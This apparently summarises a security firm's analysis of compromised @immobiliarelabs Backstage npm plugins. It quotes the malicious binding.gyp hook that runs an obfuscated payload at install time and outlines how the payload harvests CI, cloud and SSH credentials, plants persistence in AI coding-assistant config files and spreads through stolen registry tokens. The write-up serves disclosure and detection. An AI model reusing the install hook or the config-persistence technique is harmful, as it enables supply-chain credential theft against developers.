# Multiple @immobiliarelabs Backstage Plugins Compromised on npm

Malicious versions of four @immobiliarelabs Backstage npm plugins execute a credential-harvesting payload at install time via a binding.gyp node-gyp hook, stealing CI/cloud secrets and persisting in AI assistant configs.

- Payout: Real-world hack
- Severity: critical
- Program: Immobiliare Labs Backstage plugins
- Analysis by: StepSecurity
- Disclosed: 2026-07-01
- Write-up quality: 7/10
- Original: https://www.stepsecurity.io/blog/immobiliarelabs-npm-packages-compromised
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-immobiliarelabs-npm-packages-compromised
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:ci-cd tech:nodejs technique:reverse-engineering technique:source-review vuln:command-injection vuln:secrets-leak

**Target:** npm packages (@immobiliarelabs/backstage-plugin-gitlab, -gitlab-backend, -ldap-auth, -ldap-auth-backend)
**Root cause:** Attacker published malicious patch versions across all major release series; a binding.gyp target uses node-gyp shell expansion `<!(node index.js ...)` to run a 5MB obfuscated payload at install time, bypassing postinstall-only monitoring.
**Steps:**
1. Compare tarball of @immobiliarelabs/backstage-plugin-gitlab@2.1.2 against clean 2.1.1
2. Observe new 5MB `index.js` and new `binding.gyp` absent from prior releases
3. binding.gyp target `Setup` with `sources: ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]` executes payload via node-gyp
4. index.js: ROT-2 Caesar wrapper around `try{eval(...)}`, then AES-128-GCM decrypt of two blobs (_b Bun downloader, _p main payload)
5. Payload downloads Bun v1.3.13 from GitHub releases, writes decrypted payload to random temp file, runs via Bun, deletes file
6. Harvests GitHub tokens/Actions masked secrets via /proc/<pid>/mem, AWS/GCP/Azure creds, K8s tokens, Vault tokens, registry tokens, SSH keys
7. infectHost writes persistence into .claude/settings.json, .github/copilot-instructions.md, .cursor/rules/, .vscode/tasks.json, .aider.conf.yml
**How found:** Static analysis: downloaded tarball of 2.1.2 and diffed against clean 2.1.1, spotting the new 5MB index.js and binding.gyp; decoded obfuscation layers to enumerate credential targets and persistence paths.
**Exploitation:** Compromised versions published within a 30-second window as new patch releases across every supported major series. On `npm install`, node-gyp evaluates the binding.gyp sources shell expansion, running index.js which decrypts and executes the Bun-based harvester, exfiltrating CI/cloud/registry credentials and planting persistence hooks in AI coding assistant configs; squatPackage/updateTarball/handleNpmTokens/handlePypiTokens suggest worm propagation using stolen registry tokens.
**Escalation:** Worm capability: stolen npm/PyPI tokens used to publish modified packages, self-propagating across the ecosystem (Miasma campaign pattern).
**Insight:** Monitor binding.gyp and other node-gyp manifests, not just scripts.postinstall — the `<!(...)` shell expansion in gyp sources runs arbitrary commands at install. Also diff tarball contents against prior releases to catch large new files.
